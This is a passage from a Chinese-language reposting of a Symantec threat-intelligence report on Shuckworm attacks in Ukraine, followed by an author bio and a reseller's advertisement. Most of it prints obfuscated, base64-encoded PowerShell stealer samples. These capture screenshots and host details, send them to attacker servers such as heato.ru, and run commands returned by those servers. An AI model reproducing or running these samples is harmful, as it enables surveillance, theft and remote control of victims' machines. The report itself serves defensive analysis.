LlVwbG9hZFZhbHVlcygkdXJsLCRDb2xsZWN0aW9ucyk7CiAgICAgICAgfQogICAgICAgIGVsc2V7CiAgICAgICAgICAgICRjb2RlPSAoJGEpLlZvbHVtZVNlcm
lhbE51bWJlcjsKICAgICAgICAgICBSdW5Db2RlICAgJGNvZGUgJHJlc3BvbnNlCiAgICAgICAgfSAKICAgIH0KU3RhcnQtU2xlZXAgLXMgMTgwOwp9IA=='));
$couts| iEx

STEALER V2 (supports traffic over TLS 1.2)

CSIDL_SYSTEMwindowspowershellv1.0powershell.exe -c $couts =[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24g
UnVuQ29kZSgkY29kZSwkcmVzcG9uc2UpewogICAgW2J5dGVbXV0kYnl0ZXMgPSBuZXctb2JqZWN0IGJ5dGVbXSAkcmVzcG9uc2UuTGVuZ3RoOwogICAgZ
m9yKCRqPTA7ICRqIC1sdCAkcmVzcG9uc2UuY291bnQgOyAkaisrKXsKICAgICAgICAkbWFzc19lbGVtZW50PSAkaiAlICRjb2RlLkxlbmd0aDsKICAgICAgICAk
a2V5PSRjb2RlWyRtYXNzX2VsZW1lbnRdOwogICAgICAgICRieXRlc1skal0gPSAkcmVzcG9uc2VbJGpdIC1ieG9yICRrZXk7CiAgICB9OwogICAgJFVyaSA9IFtTe
XN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRieXRlcyk7CiAgICBzdGFydC1qb2IgewogICAgICAgICRzYyA9IE5ldy1PYmplY3QgLUNvb
U9iamVjdCBNU1NjcmlwdENvbnRyb2wuU2NyaXB0Q29udHJvbC4xOwogICAgICAgICRzYy5UaW1lb3V0ID0gOTk5OTk5OyAkc2MuTGFuZ3VhZ2UgPSAnVkJ
TY3JpcHQnOyRzYy5BZGRDb2RlKCRhcmdzWzBdKQogICAgfSAtQXJndW1lbnRMaXN0ICRVcmkgLXJ1bmFzMzI7Cn0KJHAgPSBbRW51bV06OlRvT2JqZWN
0KFtTeXN0ZW0uTmV0LlNlY3VyaXR5UHJvdG9jb2xUeXBlXSwgMzA3Mik7CltTeXN0ZW0uTmV0LlNlcnZpY2VQb2ludE1hbmFnZXJdOjpTZWN1cml0eVByb3
RvY29sID0gJHA7CiR3Yz0gTmV3LU9iamVjdCBuZXQud2ViY2xpZW50OyR3Yy5IZWFkZXJzLkFkZCgiQ29udGVudC1UeXBlIiwiYXBwbGljYXRpb24veC13d3
ctZm9ybS11cmxlbmNvZGVkIik7CiRyZXNwb25zZSA9ICR3Yy5VcGxvYWREYXRhKCJodHRwczovL3Rvb2xzLm5leGNlc3MubmV0L2Rucy1jaGVjayIsIFtTeXN
0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0Qnl0ZXMoImlkPXNwcmludC1kbnMmdHlwZT1BJmhvc3RuYW1lPWxlb25hcmRpcy5ydSIpKTsKJGlwID0gW
1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJHJlc3BvbnNlKSB8P3skXyAtbWF0Y2ggIlxkezEsM31cLlxkezEsM31cLlxkezEsM31cLlxk
ezEsM30ifXwleyRNYXRjaGVzWzBdfQoKJHNjcmVlbj0wOwp3aGlsZSgkY291bnQgLWxlIDQpewogICAgaWYoJHNjcmVlbiAtbGUgOSl7CiAgICAgICAgJHNjcm
VlbisrOwogICAgICAgIFt2b2lkXVtSZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZFdpdGhQYXJ0aWFsTmFtZSgiU3lzdGVtLldpbmRvd3MuRm9ybXMiKTsKICA
gICAgICAkc2l6ZSA9IFtXaW5kb3dzLkZvcm1zLlN5c3RlbUluZm9ybWF0aW9uXTo6VmlydHVhbFNjcmVlbjsKICAgICAgICAkYml0bWFwID0gbmV3LW9iamVjd
CBEcmF3aW5nLkJpdG1hcCAkc2l6ZS53aWR0aCwgJHNpemUuaGVpZ2h0OwogICAgICAgICRncmFwaGljcyA9IFtEcmF3aW5nLkdyYXBoaWNzXTo6RnJvbUltY
WdlKCRiaXRtYXApOwogICAgICAgICRncmFwaGljcy5Db3B5RnJvbVNjcmVlbigkc2l6ZS5sb2NhdGlvbixbRHJhd2luZy5Qb2ludF06OkVtcHR5LCAkc2l6ZS5zaXp
lKTsKICAgICAgICAkZ3JhcGhpY3MuRGlzcG9zZSgpOwogICAgICAgICRiaXRtYXAuU2F2ZSgiJGVudjpVU0VSUFJPRklMRVx0ZXN0LnBuZyIpOwogICAgICA
gICRiaXRtYXAuRGlzcG9zZSgpOwogICAgICAgICRmaWxlID0gIiRlbnY6VVNFUlBST0ZJTEVcdGVzdC5wbmciOwogICAgICAgICRiYXNlNjRzdHJpbmcgPSBb
Q29udmVydF06OlRvQmFzZTY0U3RyaW5nKFtJTy5GaWxlXTo6UmVhZEFsbEJ5dGVzKCRmaWxlKSk7CiAgICAgICAgUmVtb3ZlLUl0ZW0gLVBhdGggIiRlbnY
6VVNFUlBST0ZJTEVcdGVzdC5wbmciLUZvcmNlOwogICAgfQogICAgZWxzZXsKICAgICAgICAkYmFzZTY0c3RyaW5nPSJzIgogICAgfQogICAgJFdlYkNsaW
VudD0gTmV3LU9iamVjdCBuZXQud2ViY2xpZW50OwogICAgJHJuZHN0ciA9IC1qb2luICgoNjUuLjkwKSArICg5Ny4uMTIyKSB8IEdldC1SYW5kb20gLUNvdW
50IDEwIHwgJSB7W2NoYXJdJF99KTsKICAgICR1cmwgPSAnaHR0cDovLycrJGlwKycvaW5kZXgucGhwJzsKCiAgICAkYT1HZXQtV21pT2JqZWN0IC1RdWVy
eSAkKCJzZWxlY3QgKiBmcm9tIHdpbjMyX2xvZyIrICJpY2FsZGlzayB3aGVyZSBEZXZpY2VJRD0nJGVudjpTeXN0ZW1Ecml2ZSciKTsKICAgIFtzdHJpbmddJG5
1bWJlciA9IFtTeXN0ZW0uQ29udmVydF06OlRvVUludDMyKCgkYSkuVm9sdW1lU2VyaWFsTnVtYmVyLDE2KTsKICAgICRpbmRleCA9ICJpIiArICRybmRzdHI
7CiAgICAkQ29sbGVjdGlvbnMgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5OYW1lVmFsdWVDb2xsZWN0aW9uOwogICAgJ
ENvbGxlY3Rpb25zLkFkZCgkaW5kZXgsJGVudjpjb21wdXRlcm5hbWUrIjsiKyRudW1iZXIpOwogICAgJENvbGxlY3Rpb25zLkFkZCgiaW1nIiwkYmFzZTY0c3Ry
aW5nKTsKICAgICRyZXNwb25zZSA9ICRXZWJDbGllbnQuVXBsb2FkVmFsdWVzKCR1cmwsJENvbGxlY3Rpb25zKTsKICAgIFtzdHJpbmddJFVyaSA9IFtTeXN0
ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRyZXNwb25zZSk7CiAgICBpZigkVXJpLkxlbmd0aCAtZ3QgMCl7CiAgICAgICAgaWYoJFVyaVs
wXSAtZXEgIiEiICl7CiAgICAgICAgICAgICRjbWQgPSBpZXggJFVyaS5TdWJTdHJpbmcoMSk7CiAgICAgICAgICAgICRDb2xsZWN0aW9ucy5BZGQoImNtZCIs
JGNtZCk7CiAgICAgICAgICAgICRyZXNwb25zZSA9ICRXZWJDbGllbnQuVXBsb2FkVmFsdWVzKCR1cmwsJENvbGxlY3Rpb25zKTsKICAgICAgICB9CiAgICA
gICAgZWxzZXsKICAgICAgICAgICAgJGNvZGU9ICgkYSkuVm9sdW1lU2VyaWFsTnVtYmVyOwogICAgICAgICAgIFJ1bkNvZGUgICAkY29kZSAkcmVzcG9uc
2UKICAgICAgICB9IAogICAgfQpTdGFydC1TbGVlcCAtcyAxODA7Cn0g')); $couts| iEx

STEALER V3 ("heato")

CSIDL_SYSTEMwindowspowershellv1.0powershell.exe -c $aa='ZnVuY3Rpb24gUnVuQ29kZSgkY29kZSwkcmVzcG9uc2UpewogICAgW2J5dGVbXV0kYnl0ZXM
gPSBuZXctb2JqZWN0IGJ5dGVbXSAkcmVzcG9uc2UuTGVuZ3RoOwogICAgZm9yKCRqPTA7ICRqIC1sdCAkcmVzcG9uc2UuY291bnQgOyAkaisrKXsKICAgIC
AgICAkbWFzc19lbGVtZW50PSAkaiAlICRjb2RlLkxlbmd0aDsKICAgICAgICAka2V5PSRjb2RlWyRtYXNzX2VsZW1lbnRdOwogICAgICAgICRieXRlc1skal0gPS
AkcmVzcG9uc2VbJGpdIC1ieG9yICRrZXk7CiAgICB9OwogICAgJFVyaSA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRieXRlcy
k7CiAgICBzdGFydC1qb2IgewogICAgICAgICRzYyA9IE5ldy1PYmplY3QgLUNvbU9iamVjdCBNU1NjcmlwdENvbnRyb2wuU2NyaXB0Q29udHJvbC4xOwogICA
gICAgICRzYy5UaW1lb3V0ID0gOTk5OTk5OyAkc2MuTGFuZ3VhZ2UgPSAnVkJTY3JpcHQnOyRzYy5BZGRDb2RlKCRhcmdzWzBdKQogICAgfSAtQXJndW1
lbnRMaXN0ICRVcmkgLXJ1bmFzMzI7Cn0KJHNjcmVlbj0wOwp3aGlsZSgkY291bnQgLWxlIDQpewogICAgaWYoJHNjcmVlbiAtbGUgOSl7CiAgICAgICAgJHNj
cmVlbisrOwogICAgICAgIFt2b2lkXVtSZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZFdpdGhQYXJ0aWFsTmFtZSgiU3lzdGVtLldpbmRvd3MuRm9ybXMiKTsKI
CAgICAgICAkc2l6ZSA9IFtXaW5kb3dzLkZvcm1zLlN5c3RlbUluZm9ybWF0aW9uXTo6VmlydHVhbFNjcmVlbjsKICAgICAgICAkYml0bWFwID0gbmV3LW9iam
VjdCBEcmF3aW5nLkJpdG1hcCAkc2l6ZS53aWR0aCwgJHNpemUuaGVpZ2h0OwogICAgICAgICRncmFwaGljcyA9IFtEcmF3aW5nLkdyYXBoaWNzXTo6RnJvb
UltYWdlKCRiaXRtYXApOwogICAgICAgICRncmFwaGljcy5Db3B5RnJvbVNjcmVlbigkc2l6ZS5sb2NhdGlvbixbRHJhd2luZy5Qb2ludF06OkVtcHR5LCAkc2l6ZS5
zaXplKTsKICAgICAgICAkZ3JhcGhpY3MuRGlzcG9zZSgpOwogICAgICAgICRiaXRtYXAuU2F2ZSgiJGVudjpVU0VSUFJPRklMRVx0ZXN0LnBuZyIpOwogICA
gICAgICRiaXRtYXAuRGlzcG9zZSgpOwogICAgICAgICRmaWxlID0gIiRlbnY6VVNFUlBST0ZJTEVcdGVzdC5wbmciOwogICAgICAgICRiYXNlNjRzdHJpbmcg
PSBbQ29udmVydF06OlRvQmFzZTY0U3RyaW5nKFtJTy5GaWxlXTo6UmVhZEFsbEJ5dGVzKCRmaWxlKSk7CiAgICAgICAgUmVtb3ZlLUl0ZW0gLVBhdGggIi
RlbnY6VVNFUlBST0ZJTEVcdGVzdC5wbmciLUZvcmNlOwogICAgfQogICAgZWxzZXsKICAgICAgICAkYmFzZTY0c3RyaW5nPSJzIgogICAgfQogICAgJFdlYk
NsaWVudD0gTmV3LU9iamVjdCBuZXQud2ViY2xpZW50OwogICAgJHJuZHN0ciA9IC1qb2luICgoNjUuLjkwKSArICg5Ny4uMTIyKSB8IEdldC1SYW5kb20gLU
NvdW50IDEwIHwgJSB7W2NoYXJdJF99KTsKICAgICR1cmwgPSAnaHR0cDovL2hlYXRvLnJ1L2luZGV4LnBocCc7CgogICAgJGE9R2V0LVdtaU9iamVjdCAtU
XVlcnkgJCgic2VsZWN0ICogZnJvbSB3aW4zMl9sb2ciKyAiaWNhbGRpc2sgd2hlcmUgRGV2aWNlSUQ9JyRlbnY6U3lzdGVtRHJpdmUnIik7CiAgICBbc3RyaW5n
XSRudW1iZXIgPSBbU3lzdGVtLkNvbnZlcnRdOjpUb1VJbnQzMigoJGEpLlZvbHVtZVNlcmlhbE51bWJlciwxNik7CiAgICAkYWFhID0gJGVudjpjb21wdXRlcm5hb
WU7CiAgICAkYWFhID0gJGFhYSsiOyI7CiAgICAkYWFhID0gJGFhYSskbnVtYmVyOwogICAgJENvbGxlY3Rpb25zID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29s
bGVjdGlvbnMuU3BlY2lhbGl6ZWQuTmFtZVZhbHVlQ29sbGVjdGlvbjsKICAgICRDb2xsZWN0aW9ucy5BZGQoJCggImkiICsgJHJuZHN0ciksJGFhYSk7CiAgICA
kQ29sbGVjdGlvbnMuQWRkKCJpbWciLCRiYXNlNjRzdHJpbmcpOwogICAgJHJlc3BvbnNlID0gJFdlYkNsaWVudC5VcGxvYWRWYWx1ZXMoJHVybCwkQ29sb
GVjdGlvbnMpOwogICAgW3N0cmluZ10kVXJpID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJHJlc3BvbnNlKTsKICAgIGlmKCR
VcmkuTGVuZ3RoIC1ndCAwKXsKICAgICAgICBpZigkVXJpWzBdIC1lcSAiISIgKXsKICAgICAgICAgICAgJGNtZCA9IGlleCAkVXJpLlN1YlN0cmluZygxKTsK
ICAgICAgICAgICAgJENvbGxlY3Rpb25zLkFkZCgiY21kIiwkY21kKTsKICAgICAgICAgICAgJHJlc3BvbnNlID0gJFdlYkNsaWVudC5VcGxvYWRWYWx1ZXMo
JHVybCwkQ29sbGVjdGlvbnMpOwogICAgICAgIH0KICAgICAgICBlbHNlewogICAgICAgICAgICAkY29kZT0gKCRhKS5Wb2x1bWVTZXJpYWxOdW1iZXI7Ci
AgICAgICAgICAgUnVuQ29kZSAgICRjb2RlICRyZXNwb25zZQogICAgICAgIH0gCiAgICB9ClN0YXJ0LVNsZWVwIC1zIDE4MDsKfSA=';$couts =[System.Text.
Encoding]::UTF8.GetString([System.Convert]::FromBase64String($aa)); $couts| iEx

關於作者

威脅獵手團隊

賽門鐵克

威脅獵手 (Threat Hunter) 團隊是賽門鐵克內部的一群安全專家，其任務是調查有針對性的攻擊，推動賽門鐵克產品的增強保護，並提供分析以幫助客戶應對攻擊。

原廠網址：https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/russia-ukraine-shuckworm
本文件由保安資訊有限公司專業細心整理後提供。如有遺誤、更新或異動均以上Symantec原廠公告為準，請知悉。2022/08

更多資訊 請造訪我們的網站 http://www.SaveTime.com.tw
(好記：幫您節省時間.的公司.在台灣)

關於保安資訊：

從協助顧客簡單使用賽門鐵克方案開始，到滿足顧客需求更超越顧客期望的價值。

- 保安資訊被業界公認為最專業的賽門鐵克解決方案的專家。
- 保安資訊的團隊自 1995 年起就專注於賽門鐵克資訊安全解決方案的銷售、規劃與整合、技術支援、教育訓練、顧問服務，特別是提供企業 IT 專業人員的技能傳承(Knowledge Transfer)的效益上，以及比原廠更快速的技術支援回應，深獲許多中大型企業與組織的青睞(特別是有 IT Team 的組織)，長期合作的意願與滿意度極高。
- 與許多系統整合或服務公司不同的是，我們不吝惜分享我們的專業技能與經驗給顧客的 IT Team，經由常態性的教育訓練、精簡的快速手冊、標準 SOP 文件的提供，以及基於比原廠更孰悉顧客的使用環境與現況的快速回應的品質，在業界建立扎實的口碑。
- 保安資訊一直專注於賽門鐵克領先業界的資訊系統基礎架構上的安全性與可用性的解決方案。進而累積了許多與基礎架構整合的成功經驗，讓導入 Symantec 解決方方案的成效非常卓越。我們的顧客都能免除 Try & Error 的時間浪費及不確定的投入或自行摸索的運作風險。
- 關於我們：

保安資訊有限公司
http://www.savetime.com.tw
0800-381500、0936-285588